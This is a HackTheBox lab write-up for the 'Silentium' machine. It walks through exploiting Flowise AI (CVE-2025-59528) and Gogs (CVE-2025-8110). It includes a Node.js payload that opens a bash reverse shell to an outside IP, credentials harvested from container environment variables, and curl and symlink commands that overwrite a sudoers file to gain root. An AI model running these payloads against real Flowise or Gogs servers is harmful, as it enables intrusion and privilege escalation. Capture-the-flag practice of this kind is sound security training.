HackTheBox Writeup - Silentium

Silentium is a Medium-rated Linux machine on HackTheBox that involves exploiting an AI-driven platform (Flowise AI) and a self-hosted Git service (Gogs).

Enumeration

Initial Nmap scan revealed the following ports:

• 22/tcp (SSH)
• 80/tcp (HTTP)

The HTTP service on port 80 points to silentium.htb. Subdomain enumeration revealed staging.silentium.htb and staging-v2-code.dev.silentium.htb.

Staging Subdomain (Flowise AI)

staging.silentium.htb hosts an instance of Flowise AI (v2.1.2). Flowise is an open-source UI visual tool to build customized LLM orchestration flows.

Staging-v2 Subdomain (Gogs)

staging-v2-code.dev.silentium.htb hosts a Gogs (Go Git Service) instance.

Initial Access: Flowise AI Exploitation (CVE-2025-59528)

Flowise AI v2.1.2 was found to be vulnerable to a blind Remote Code Execution (RCE) in its CustomMCP tool (CVE-2025-59528). By crafting a malicious mcpServerConfig payload, we can execute arbitrary JavaScript/Node.js code on the server.

The application had a check for x-request-from: internal header to bypass authentication for certain API calls.

Payload

We used the following payload in a POST request to /api/v1/mcp-server/test:

{
  "mcpServerConfig": {
    "command": "node",
    "args": ["-e", "require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.203/4444 0>&1\"')"]
  }
}

This yielded a reverse shell. However, Flowise was running inside a Docker container.

Environment Discovery

Inside the container, we inspected the environment variables and found:

• FLOWISE_USERNAME=ben
• FLOWISE_PASSWORD=F1l3_d0ck3r
• SMTP_PASSWORD=r04D!!_R4ge

Lateral Movement: SSH Access

We tried the SMTP_PASSWORD (r04D!!_R4ge) for the user ben on the host machine via SSH and successfully logged in.

User Flag: 182334baf85fc119c86e6f372e59e739

Privilege Escalation: Gogs Symlink Bypass (CVE-2025-8110)

On the host, Gogs was running as root on port 3001. We identified it was vulnerable to CVE-2025-8110, a symlink bypass in the PutContents API.

Exploitation Steps:

1. Gogs Login: We logged into the Gogs instance at http://staging-v2-code.dev.silentium.htb/ as ben using the password F1l3_d0ck3r (or registered a new user).
2. Create Repository: Created a repository named pwn_repo.
3. Commit Symlink: On the host as ben, we cloned the repository and committed a symbolic link pointing to /etc/sudoers.d/ben.

   ln -s /etc/sudoers.d/ben root_shell
   git add root_shell
   git commit -m "add symlink"
   git push origin master
   

4. Overwrite Symlink Target: We used the Gogs API to update the content of root_shell. Because Gogs followed the symlink, it overwrote /etc/sudoers.d/ben.

   API Call:

   TOKEN="522db737bdac78d861e59454ae0b7840104be870"
   SHA=$(curl -s -H "Authorization: token $TOKEN" http://localhost:3001/api/v1/repos/ben/pwn_repo/contents/root_shell | jq -r .sha)
   CONTENT=$(echo "ben ALL=(ALL) NOPASSWD: ALL" | base64)
      
   curl -s -X PUT -H "Authorization: token $TOKEN" \
        -H "Content-Type: application/json" \
        -d "{\"message\":\"pwn\", \"content\":\"$CONTENT\", \"sha\":\"$SHA\"}" \
        http://localhost:3001/api/v1/repos/ben/pwn_repo/contents/root_shell
   

5. Root Access: With the sudoers entry in place, we executed sudo -l and then sudo su to become root.

Root Flag: 71f94aa435a88543b4eab089e09bb1c0